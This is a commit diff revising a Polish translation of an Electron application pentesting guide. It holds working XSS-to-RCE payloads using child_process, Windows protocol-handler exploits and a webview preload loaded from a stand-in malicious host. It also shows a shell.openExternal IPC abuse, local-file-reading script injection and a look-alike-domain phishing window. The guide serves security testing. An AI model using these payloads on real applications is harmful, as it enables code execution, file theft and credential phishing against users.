Translated ['', 'src/network-services-pentesting/pentesting-web/electron

This commit is contained in:
Translator 2025-09-08 02:43:52 +00:00
parent ffc2678fa4
commit d06252b8f3

View File

@ -4,14 +4,14 @@
## Wprowadzenie ## Wprowadzenie
Electron łączy lokalny backend (z **NodeJS**) i frontend (**Chromium**), chociaż brakuje mu niektórych mechanizmów zabezpieczeń nowoczesnych przeglądarek. Electron łączy lokalny backend (z **NodeJS**) i frontend (**Chromium**), chociaż brakuje mu niektórych mechanizmów bezpieczeństwa nowoczesnych przeglądarek.
Zazwyczaj kod aplikacji electron można znaleźć wewnątrz aplikacji `.asar`, aby uzyskać kod, musisz go wyodrębnić: Zazwyczaj kod aplikacji Electron znajdziesz wewnątrz pakietu `.asar`; aby uzyskać kod, musisz go wyodrębnić:
```bash ```bash
npx asar extract app.asar destfolder #Extract everything npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file npx asar extract-file app.asar main.js #Extract just a file
``` ```
W kodzie źródłowym aplikacji Electron, w pliku `packet.json`, można znaleźć określony plik `main.js`, w którym ustawione są konfiguracje zabezpieczeń. W kodzie źródłowym aplikacji Electron, w pliku `packet.json`, można znaleźć wskazany plik `main.js`, w którym ustawione są konfiguracje bezpieczeństwa.
```json ```json
{ {
"name": "standard-notes", "name": "standard-notes",
@ -20,7 +20,7 @@ W kodzie źródłowym aplikacji Electron, w pliku `packet.json`, można znaleź
Electron ma 2 typy procesów: Electron ma 2 typy procesów:
- Proces główny (ma pełny dostęp do NodeJS) - Proces główny (ma pełny dostęp do NodeJS)
- Proces renderera (powinien mieć ograniczony dostęp do NodeJS z powodów bezpieczeństwa) - Proces renderera (powinien mieć ograniczony dostęp do NodeJS ze względów bezpieczeństwa)
![](<../../../images/image (182).png>) ![](<../../../images/image (182).png>)
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process //Open Renderer Process
win.loadURL(`file://path/to/index.html`) win.loadURL(`file://path/to/index.html`)
``` ```
Ustawienia **procesu renderera** mogą być **konfigurowane** w **procesie głównym** w pliku main.js. Niektóre z konfiguracji **zapobiegną uzyskaniu RCE przez aplikację Electron** lub inne podatności, jeśli **ustawienia są poprawnie skonfigurowane**. Ustawienia **procesu renderera** można **skonfigurować** w **procesie głównym** w pliku main.js. Niektóre konfiguracje będą **zapobiegać uzyskaniu RCE przez aplikację Electron** lub innym podatnościom, jeśli **ustawienia są poprawnie skonfigurowane**.
Aplikacja electron **może uzyskać dostęp do urządzenia** za pomocą interfejsów API Node, chociaż można ją skonfigurować, aby temu zapobiec: Aplikacja Electron **może uzyskać dostęp do urządzenia** za pomocą Node apis, chociaż można to skonfigurować, aby temu zapobiec:
- **`nodeIntegration`** - jest `wyłączone` domyślnie. Jeśli włączone, pozwala na dostęp do funkcji node z procesu renderera. - **`nodeIntegration`** - jest domyślnie ustawione na `off`. Jeśli jest włączone, umożliwia dostęp do funkcji Node z procesu renderera.
- **`contextIsolation`** - jest `włączone` domyślnie. Jeśli wyłączone, procesy główny i renderera nie są izolowane. - **`contextIsolation`** - domyślnie jest `on`. Jeśli `off`, procesy główny i renderer nie są izolowane.
- **`preload`** - pusty domyślnie. - **`preload`** - domyślnie puste.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - jest wyłączone domyślnie. Ograniczy działania, które NodeJS może wykonać. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - jest domyślnie `off`. Ograniczy działania, które NodeJS może wykonywać.
- Integracja Node w Workerach - Node Integration in Workers
- **`nodeIntegrationInSubframes`** - jest `wyłączone` domyślnie. - **`nodeIntegrationInSubframes`** - jest domyślnie `off`.
- Jeśli **`nodeIntegration`** jest **włączone**, pozwoli to na użycie **API Node.js** w stronach internetowych, które są **ładowane w iframe** w aplikacji Electron. - Jeśli **`nodeIntegration`** jest **włączone**, to pozwoli na użycie **Node.js APIs** na stronach WWW, które są **ładowane w iframe'ach** w aplikacji Electron.
- Jeśli **`nodeIntegration`** jest **wyłączone**, wówczas preloady będą ładowane w iframe. - Jeśli **`nodeIntegration`** jest **wyłączone**, wtedy preloady zostaną załadowane w iframe
Przykład konfiguracji: Przykład konfiguracji:
```javascript ```javascript
@ -71,7 +71,7 @@ spellcheck: true,
}, },
} }
``` ```
Niektóre **RCE payloads** z [tutaj](https://7as.es/electron/nodeIntegration_rce.txt): Niektóre **RCE payloads** z [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html ```html
Example Payloads (Windows): Example Payloads (Windows):
<img <img
@ -95,15 +95,16 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x" src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" /> onerror="alert(require('child_process').execSync('uname -a').toString());" />
``` ```
### Capture traffic ### Przechwytywanie ruchu
Zmodyfikuj konfigurację start-main i dodaj użycie proxy, takiego jak: Zmodyfikuj konfigurację start-main i dodaj użycie proxy, na przykład:
```javascript ```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
``` ```
## Wstrzykiwanie kodu lokalnego w Electron ## Lokalna injekcja kodu w aplikacji Electron
Jeśli możesz uruchomić lokalnie aplikację Electron, możliwe, że będziesz w stanie sprawić, by wykonała dowolny kod JavaScript. Zobacz, jak w:
Jeśli możesz lokalnie uruchomić aplikację Electron, istnieje możliwość, że możesz sprawić, aby wykonała dowolny kod JavaScript. Sprawdź jak w:
{{#ref}} {{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -111,7 +112,7 @@ Jeśli możesz lokalnie uruchomić aplikację Electron, istnieje możliwość,
## RCE: XSS + nodeIntegration ## RCE: XSS + nodeIntegration
Jeśli **nodeIntegration** jest ustawione na **włączone**, JavaScript na stronie internetowej może łatwo korzystać z funkcji Node.js, po prostu wywołując `require()`. Na przykład, sposób uruchomienia aplikacji kalkulatora w systemie Windows to: If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
```html ```html
<script> <script>
require("child_process").exec("calc") require("child_process").exec("calc")
@ -123,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload ## RCE: preload
Skrypt wskazany w tym ustawieniu jest l**adowany przed innymi skryptami w rendererze**, więc ma **nieograniczony dostęp do Node APIs**: Skrypt wskazany w tym ustawieniu jest ł**adowany przed innymi skryptami w rendererze**, więc ma **nieograniczony dostęp do Node APIs**:
```javascript ```javascript
new BrowserWindow{ new BrowserWindow{
webPreferences: { webPreferences: {
@ -148,20 +149,20 @@ runCalc()
</script> </script>
</body> </body>
``` ```
> [!NOTE] > **Jeśli `contextIsolation` jest włączony, to nie zadziała** > [!NOTE] > **Jeśli `contextIsolation` jest włączone, to nie zadziała**
## RCE: XSS + contextIsolation ## RCE: XSS + contextIsolation
_**contextIsolation**_ wprowadza **oddzielone konteksty między skryptami strony internetowej a wewnętrznym kodem JavaScript Electron**, aby wykonanie JavaScriptu każdego kodu nie wpływało na siebie nawzajem. Jest to niezbędna funkcja, aby wyeliminować możliwość RCE. The _**contextIsolation**_ wprowadza **oddzielne konteksty między skryptami strony a wewnętrznym kodem JavaScript Electron**, dzięki czemu wykonanie JavaScript jednego z nich nie wpływa na drugie. To niezbędna funkcja, aby wyeliminować możliwość RCE.
Jeśli konteksty nie są izolowane, atakujący może: If the contexts aren't isolated an attacker can:
1. Wykonać **dowolny JavaScript w rendererze** (XSS lub nawigacja do zewnętrznych stron) 1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
2. **Nadpisać wbudowaną metodę**, która jest używana w preload lub wewnętrznym kodzie Electron na własną funkcję 2. **Nadpisać wbudowaną metodę**, która jest używana w preload lub wewnętrznym kodzie Electron, żeby przejąć kontrolę
3. **Wywołać** użycie **nadpisanej funkcji** 3. **Wywołać** użycie **nadpisanej funkcji**
4. RCE? 4. RCE?
Są 2 miejsca, w których wbudowane metody mogą być nadpisane: w kodzie preload lub w wewnętrznym kodzie Electron: There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
{{#ref}} {{#ref}}
@ -180,34 +181,34 @@ electron-contextisolation-rce-via-ipc.md
### Ominięcie zdarzenia kliknięcia ### Ominięcie zdarzenia kliknięcia
Jeśli na kliknięcie linku nałożone są ograniczenia, możesz być w stanie je obejść **wykonując kliknięcie środkowe** zamiast zwykłego lewego kliknięcia. If there are restrictions applied when you click a link you might be able to bypass them **klikając środkowym przyciskiem myszy** zamiast zwykłego lewego kliknięcia
```javascript ```javascript
window.addEventListener('click', (e) => { window.addEventListener('click', (e) => {
``` ```
## RCE za pomocą shell.openExternal ## RCE przez shell.openExternal
Aby uzyskać więcej informacji na temat tych przykładów, sprawdź [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) oraz [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) Aby uzyskać więcej informacji na temat tych przykładów, zobacz [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Podczas wdrażania aplikacji desktopowej Electron, zapewnienie odpowiednich ustawień dla `nodeIntegration` i `contextIsolation` jest kluczowe. Ustalono, że **wykonywanie zdalnego kodu po stronie klienta (RCE)**, które celuje w skrypty preload lub natywny kod Electron z głównego procesu, jest skutecznie zapobiegane przy tych ustawieniach. Podczas wdrażania aplikacji desktopowej Electron kluczowe jest ustawienie właściwych opcji `nodeIntegration` i `contextIsolation`. Uznaje się, że **client-side remote code execution (RCE)** wymierzone w preload scripts lub natywny kod Electrona z procesu głównego jest skutecznie uniemożliwione przy takich ustawieniach.
Po interakcji użytkownika z linkami lub otwieraniu nowych okien, uruchamiane są określone nasłuchiwacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji: Gdy użytkownik wchodzi w interakcję z linkami lub otwiera nowe okna, uruchamiane są określone nasłuchiwacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {} webContents.on("will-navigate", function (event, url) {}
``` ```
Te nasłuchiwacze są **nadpisywane przez aplikację desktopową**, aby wdrożyć własną **logikę biznesową**. Aplikacja ocenia, czy nawigowany link powinien być otwarty wewnętrznie, czy w zewnętrznej przeglądarce internetowej. Decyzja ta jest zazwyczaj podejmowana za pomocą funkcji `openInternally`. Jeśli ta funkcja zwraca `false`, oznacza to, że link powinien być otwarty zewnętrznie, wykorzystując funkcję `shell.openExternal`. Te nasłuchiwacze są **nadpisywane przez aplikację desktopową** w celu zaimplementowania własnej **logiki biznesowej**. Aplikacja ocenia, czy nawigowany link powinien zostać otwarty wewnętrznie czy w zewnętrznej przeglądarce. Decyzja ta jest zazwyczaj podejmowana przez funkcję `openInternally`. Jeżeli ta funkcja zwraca `false`, oznacza to, że link powinien zostać otworzony zewnętrznie przy użyciu `shell.openExternal`.
**Oto uproszczony pseudokod:** **Poniżej uproszczony pseudokod:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Najlepsze praktyki bezpieczeństwa Electron JS odradzają akceptowanie nieufnej zawartości za pomocą funkcji `openExternal`, ponieważ może to prowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Aby uzyskać szczegółowe przykłady i dalsze wyjaśnienia na ten temat, można odwołać się do [tego zasobu](https://positive.security/blog/url-open-rce#windows-10-19042), który zawiera przykłady protokołów Windows zdolnych do wykorzystania tej podatności. Zalecenia dotyczące bezpieczeństwa Electron JS odradzają akceptowanie nieufnej treści za pomocą funkcji `openExternal`, ponieważ może to doprowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Po szczegółowe przykłady i dodatkowe wyjaśnienia na ten temat można odnieść się do [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), które zawiera przykłady protokołów Windows, które mogą wykorzystać tę podatność.
W macos funkcja `openExternal` może być wykorzystana do wykonywania dowolnych poleceń, jak w `shell.openExternal('file:///System/Applications/Calculator.app')`. W macos funkcję `openExternal` można wykorzystać do wykonania dowolnych poleceń, na przykład `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Przykłady exploitów protokołów Windows obejmują:** **Przykłady Windows protocol exploits obejmują:**
```html ```html
<script> <script>
window.open( window.open(
@ -227,17 +228,17 @@ window.open(
) )
</script> </script>
``` ```
## RCE: webviewTag + podatny preload IPC + shell.openExternal ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Ta luka może być znaleziona w **[tym raporcie](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. This vuln można znaleźć w **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
**webviewTag** to **przestarzała funkcja**, która pozwala na użycie **NodeJS** w **procesie renderowania**, co powinno być wyłączone, ponieważ pozwala na załadowanie skryptu w kontekście preload, jak: **webviewTag** to **przestarzała funkcja**, która umożliwia użycie **NodeJS** w **renderer process**, którą należy wyłączyć, ponieważ pozwala załadować skrypt wewnątrz preload context, np.:
```xml ```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview> <webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
``` ```
Dlatego atakujący, który zdołałby załadować dowolną stronę, mógłby użyć tego tagu do **załadowania dowolnego skryptu preload**. W związku z tym atakujący, któremu uda się załadować dowolną stronę, mógłby użyć tego tagu, aby **załadować dowolny preload script**.
Ten skrypt preload został następnie wykorzystany do wywołania **vulnerable IPC service (`skype-new-window`)**, który wywoływał **`shell.openExternal`**, aby uzyskać RCE: Ten preload script został następnie nadużyty, aby wywołać **podatną usługę IPC (`skype-new-window`)**, która wywoływała **`shell.openExternal`**, aby uzyskać RCE:
```javascript ```javascript
(async() => { (async() => {
const { ipcRenderer } = require("electron"); const { ipcRenderer } = require("electron");
@ -248,13 +249,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
}, 5000); }, 5000);
})(); })();
``` ```
## Odczyt wewnętrznych plików: XSS + contextIsolation ## Odczyt plików wewnętrznych: XSS + contextIsolation
**Wyłączenie `contextIsolation` umożliwia użycie tagów `<webview>`**, podobnie jak `<iframe>`, do odczytu i eksfiltracji lokalnych plików. Przykład pokazuje, jak wykorzystać tę lukę, aby odczytać zawartość wewnętrznych plików: **Wyłączenie `contextIsolation` umożliwia użycie tagów `<webview>`**, podobnych do `<iframe>`, do odczytu i exfiltrating lokalnych plików. Podany przykład pokazuje, jak wykorzystać tę podatność do odczytania zawartości plików wewnętrznych:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>) ![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Ponadto, udostępniona jest inna metoda **odczytu wewnętrznego pliku**, podkreślająca krytyczną lukę w odczycie lokalnych plików w aplikacji desktopowej Electron. Polega to na wstrzyknięciu skryptu w celu wykorzystania aplikacji i eksfiltracji danych: Dodatkowo udostępniono inną metodę **czytania pliku wewnętrznego**, podkreślając krytyczną podatność na odczyt lokalnych plików w aplikacji desktopowej Electron. Polega to na wstrzyknięciu skryptu w celu wykorzystania aplikacji i exfiltrate data:
```html ```html
<br /><br /><br /><br /> <br /><br /><br /><br />
<h1> <h1>
@ -270,45 +271,45 @@ frames[0].document.body.innerText
</script> </script>
</h1> </h1>
``` ```
## **RCE: XSS + Stary Chromium** ## **RCE: XSS + Stare Chromium**
Jeśli **chromium** używane przez aplikację jest **stare** i istnieją **znane** **luki** w nim, może być możliwe **wykorzystanie tego i uzyskanie RCE przez XSS**.\ Jeśli **chromium** używane przez aplikację jest **stare** i występują na nim **znane** **vulnerabilities**, może być możliwe **exploit it and obtain RCE through a XSS**.\
Możesz zobaczyć przykład w tym **opisie**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) Przykład można zobaczyć w tym **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **Phishing XSS za pomocą obejścia regex URL wewnętrznego** ## **XSS Phishing przez wewnętrzny URL regex bypass**
Zakładając, że znalazłeś XSS, ale **nie możesz wywołać RCE ani ukraść plików wewnętrznych**, możesz spróbować wykorzystać to do **kradzieży poświadczeń za pomocą phishingu**. Zakładając, że znalazłeś XSS, ale **nie możesz wywołać RCE ani ukraść plików wewnętrznych**, możesz spróbować użyć go do **wykradzenia poświadczeń poprzez phishing**.
Przede wszystkim musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod JS w interfejsie użytkownika: Przede wszystkim musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod JS po stronie front-endu:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
``` ```
Wywołanie **`openInternally`** zdecyduje, czy **link** zostanie **otwarty** w **oknie desktopowym**, ponieważ jest to link należący do platformy, **czy** zostanie otwarty w **przeglądarce jako zasób zewnętrzny**. Wywołanie **`openInternally`** zadecyduje, czy **link** zostanie **otwarty** w **oknie desktopowym**, ponieważ jest to link należący do platformy, **czy** zostanie otwarty w **przeglądarce jako zasób 3rd party**.
W przypadku, gdy **regex** użyty przez funkcję jest **vulnerable to bypasses** (na przykład przez **nieescapowanie kropek subdomen**) atakujący mógłby wykorzystać XSS do **otwarcia nowego okna, które** będzie znajdować się w infrastrukturze atakującego **prosząc o dane logowania** od użytkownika: W przypadku, gdy **regex** użyty przez funkcję jest **vulnerable to bypasses** (na przykład przez **not escaping the dots of subdomains**), atakujący mógłby wykorzystać XSS, aby **open a new window which** będzie znajdować się w infrastrukturze atakującego i **asking for credentials** od użytkownika:
```html ```html
<script> <script>
window.open("<http://subdomainagoogleq.com/index.html>") window.open("<http://subdomainagoogleq.com/index.html>")
</script> </script>
``` ```
## `file://` Protocol ## Protokół `file://`
Jak wspomniano w [dokumentacji](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), strony działające na **`file://`** mają jednostronny dostęp do każdego pliku na twoim komputerze, co oznacza, że **problemy XSS mogą być używane do ładowania dowolnych plików** z maszyny użytkownika. Użycie **niestandardowego protokołu** zapobiega takim problemom, ponieważ możesz ograniczyć protokół do serwowania tylko określonego zestawu plików. Jak wspomniano w [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) strony uruchamiane na **`file://`** mają jednostronny dostęp do wszystkich plików na Twoim komputerze, co oznacza, że **problemy XSS mogą być użyte do załadowania dowolnych plików** z maszyny użytkownika. Użycie **niestandardowego protokołu** zapobiega takim problemom, ponieważ możesz ograniczyć protokół do serwowania tylko określonego zestawu plików.
## Remote module ## Moduł Remote
Moduł Remote w Electronie pozwala **procesom renderującym na dostęp do API procesu głównego**, ułatwiając komunikację w aplikacji Electron. Jednak włączenie tego modułu wprowadza znaczące ryzyko bezpieczeństwa. Rozszerza powierzchnię ataku aplikacji, czyniąc ją bardziej podatną na luki, takie jak ataki cross-site scripting (XSS). Moduł Remote w Electron umożliwia **procesom renderer dostęp do API procesu głównego**, ułatwiając komunikację w aplikacji Electron. Jednak włączenie tego modułu wprowadza znaczące ryzyko bezpieczeństwa. Zwiększa powierzchnię ataku aplikacji, czyniąc ją bardziej podatną na podatności, takie jak ataki cross-site scripting (XSS).
> [!TIP] > [!TIP]
> Chociaż moduł **remote** udostępnia niektóre API z procesu głównego do procesów renderujących, nie jest łatwo uzyskać RCE tylko poprzez nadużywanie komponentów. Jednak komponenty mogą ujawniać wrażliwe informacje. > Chociaż moduł **remote** udostępnia niektóre API z procesu głównego do procesów renderer, nie jest proste uzyskanie RCE tylko przez nadużywanie tych komponentów. Jednak komponenty mogą ujawniać wrażliwe informacje.
> [!WARNING] > [!WARNING]
> Wiele aplikacji, które nadal używają modułu remote, robi to w sposób, który **wymaga włączenia NodeIntegration** w procesie renderującym, co stanowi **ogromne ryzyko bezpieczeństwa**. > Wiele aplikacji, które nadal używają modułu remote, robi to w sposób, który **wymaga włączenia NodeIntegration** w procesie renderer, co stanowi **ogromne ryzyko bezpieczeństwa**.
Od wersji Electron 14 moduł `remote` może być włączany w kilku krokach, ponieważ z powodów bezpieczeństwa i wydajności **zaleca się jego nieużywanie**. Od Electron 14 moduł `remote` może być włączony na kilka sposobów, jednak ze względów bezpieczeństwa i wydajności **zaleca się go nie używać**.
Aby go włączyć, najpierw należy **włączyć go w procesie głównym**: Aby go włączyć, najpierw trzeba **włączyć go w procesie głównym**:
```javascript ```javascript
const remoteMain = require('@electron/remote/main') const remoteMain = require('@electron/remote/main')
remoteMain.initialize() remoteMain.initialize()
@ -319,37 +320,39 @@ mainWindow = new BrowserWindow({
}) })
remoteMain.enable(mainWindow.webContents) remoteMain.enable(mainWindow.webContents)
``` ```
Następnie proces renderera może importować obiekty z modułu, tak jak: Następnie proces renderera może importować obiekty z modułu w następujący sposób:
```javascript ```javascript
import { dialog, getCurrentWindow } from '@electron/remote' import { dialog, getCurrentWindow } from '@electron/remote'
``` ```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** wskazuje na kilka interesujących **funkcji** udostępnionych przez obiekt **`app`** z modułu zdalnego: **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** wskazuje kilka interesujących **funkcji** udostępnionych przez obiekt **`app`** z modułu remote:
- **`app.relaunch([options])`** - **`app.relaunch([options])`**
- **Restartuje** aplikację, **kończąc** bieżącą instancję i **uruchamiając** nową. Przydatne do **aktualizacji aplikacji** lub znaczących **zmian stanu**. - **Restartuje** aplikację przez **zakończenie** bieżącej instancji i **uruchomienie** nowej. Przydatne do **aktualizacji aplikacji** lub znaczących **zmian stanu**.
- **`app.setAppLogsPath([path])`** - **`app.setAppLogsPath([path])`**
- **Definiuje** lub **tworzy** katalog do przechowywania **logów aplikacji**. Logi można **pobierać** lub **modyfikować** za pomocą **`app.getPath()`** lub **`app.setPath(pathName, newPath)`**. - **Określa** lub **tworzy** katalog do przechowywania **logów aplikacji**. Logi mogą być **pobrane** lub **zmienione** za pomocą **`app.getPath()`** lub **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`** - **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Rejestruje** bieżący plik wykonywalny jako **domyślny handler** dla określonego **protokołu**. Możesz podać **niestandardową ścieżkę** i **argumenty**, jeśli to konieczne. - **Rejestruje** bieżący plik wykonywalny jako **domyślnego obsługiwacza** dla określonego **protokołu**. Możesz podać **własną ścieżkę** i **argumenty** w razie potrzeby.
- **`app.setUserTasks(tasks)`** - **`app.setUserTasks(tasks)`**
- **Dodaje** zadania do **kategorii Zadań** w **Liście Skoków** (na Windows). Każde zadanie może kontrolować, jak aplikacja jest **uruchamiana** lub jakie **argumenty** są przekazywane. - **Dodaje** zadania do **kategorii Zadań** w **Jump List** (na Windows). Każde zadanie może kontrolować, jak aplikacja jest **uruchamiana** lub jakie **argumenty** są przekazywane.
- **`app.importCertificate(options, callback)`** - **`app.importCertificate(options, callback)`**
- **Importuje** **certyfikat PKCS#12** do systemowego **magazynu certyfikatów** (tylko Linux). **Callback** może być użyty do obsługi wyniku. - **Importuje** certyfikat **PKCS#12** do systemowego **magazynu certyfikatów** (tylko Linux). **Callback** może być użyty do obsługi wyniku.
- **`app.moveToApplicationsFolder([options])`** - **`app.moveToApplicationsFolder([options])`**
- **Przenosi** aplikację do **folderu Aplikacji** (na macOS). Pomaga zapewnić **standardową instalację** dla użytkowników Maca. - **Przenosi** aplikację do folderu **Applications** (na macOS). Pomaga zapewnić **standardową instalację** dla użytkowników Mac.
- **`app.setJumpList(categories)`** - **`app.setJumpList(categories)`**
- **Ustala** lub **usuwa** **niestandardową Listę Skoków** na **Windows**. Możesz określić **kategorie**, aby zorganizować, jak zadania pojawiają się dla użytkownika. - **Ustawia** lub **usuwa** niestandardowy **Jump List** w **Windows**. Możesz określić **kategorie**, aby uporządkować sposób wyświetlania zadań użytkownikowi.
- **`app.setLoginItemSettings(settings)`** - **`app.setLoginItemSettings(settings)`**
- **Konfiguruje**, które **pliki wykonywalne** uruchamiają się przy **logowaniu** wraz z ich **opcjonalnymi ustawieniami** (tylko macOS i Windows). - **Konfiguruje**, które **pliki wykonywalne** uruchamiają się przy **logowaniu** wraz z ich **opcjami** (tylko macOS i Windows).
Example:
```javascript ```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit() Native.app.exit()
``` ```
## systemPreferences module ## systemPreferences moduł
Główne API do uzyskiwania dostępu do preferencji systemowych i emitowania zdarzeń systemowych w Electron. Metody takie jak **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault** wszystkie **częścią** tego modułu. To **główne API** do uzyskiwania dostępu do ustawień systemowych i **emitowania zdarzeń systemowych** w Electron. Metody takie jak **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault****częścią** tego modułu.
**Przykład użycia:** **Przykładowe użycie:**
```javascript ```javascript
const { systemPreferences } = require('electron'); const { systemPreferences } = require('electron');
@ -364,33 +367,33 @@ console.log('Recent Places:', recentPlaces);
``` ```
### **subscribeNotification / subscribeWorkspaceNotification** ### **subscribeNotification / subscribeWorkspaceNotification**
* **Nasłuchuje** **natywnych powiadomień macOS** za pomocą NSDistributedNotificationCenter. * **Nasłuchuje** **natywnych powiadomień macOS** używając NSDistributedNotificationCenter.
* Przed **macOS Catalina** można było podsłuchiwać **wszystkie** rozproszone powiadomienia, przekazując **nil** do CFNotificationCenterAddObserver. * Przed **macOS Catalina**, można było podsłuchiwać **wszystkie** rozproszone powiadomienia, przekazując **nil** do CFNotificationCenterAddObserver.
* Po **Catalina / Big Sur** aplikacje w piaskownicy mogą nadal **subskrybować** **wiele zdarzeń** (na przykład, **blokady/odblokowania ekranu**, **montowanie woluminów**, **aktywność sieciowa** itp.) rejestrując powiadomienia **po nazwie**. * Po **Catalina / Big Sur**, aplikacje w sandboxie nadal mogą **subskrybować** wiele zdarzeń (np. **blokady/odblokowania ekranu**, **montowanie woluminów**, **aktywność sieciową** itp.) poprzez rejestrację powiadomień **po nazwie**.
### **getUserDefault / setUserDefault** ### **getUserDefault / setUserDefault**
* **Interfejsy** z **NSUserDefaults**, które przechowują **preferencje** aplikacji lub **globalne** na macOS. * **Interfejsuje** z NSUserDefaults, który przechowuje preferencje **aplikacji** lub **globalne** w macOS.
* **getUserDefault** może **pobierać** wrażliwe informacje, takie jak **ostatnie lokalizacje plików** lub **geograficzna lokalizacja użytkownika**. * **getUserDefault** może **pobrać** wrażliwe informacje, takie jak **ostatnie lokalizacje plików** lub **geograficzne położenie użytkownika**.
* **setUserDefault** może **modyfikować** te preferencje, potencjalnie wpływając na **konfigurację** aplikacji. * **setUserDefault** może **modyfikować** te preferencje, potencjalnie wpływając na **konfigurację** aplikacji.
* W **starszych wersjach Electron** (przed v8.3.0) dostępna była tylko **standardowa suite** NSUserDefaults. * W **starszych wersjach Electron** (przed v8.3.0) dostępny był tylko **standardowy zestaw** NSUserDefaults.
## Shell.showItemInFolder ## Shell.showItemInFolder
Ta funkcja wyświetla dany plik w menedżerze plików, co **może automatycznie wykonać plik**. Ta funkcja pokazuje dany plik w menedżerze plików, który **może automatycznie wykonać plik**.
Aby uzyskać więcej informacji, sprawdź [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy ## Content Security Policy
Aplikacje Electron powinny mieć **Politykę Bezpieczeństwa Treści (CSP)**, aby **zapobiegać atakom XSS**. **CSP** to **standard bezpieczeństwa**, który pomaga **zapobiegać** **wykonywaniu** **niezaufanego kodu** w przeglądarce. Aplikacje Electron powinny mieć **Content Security Policy (CSP)**, aby **zapobiegać atakom XSS**. **CSP** to **standard bezpieczeństwa**, który pomaga **zabronić** **wykonywania** **niezaufanego kodu** w przeglądarce.
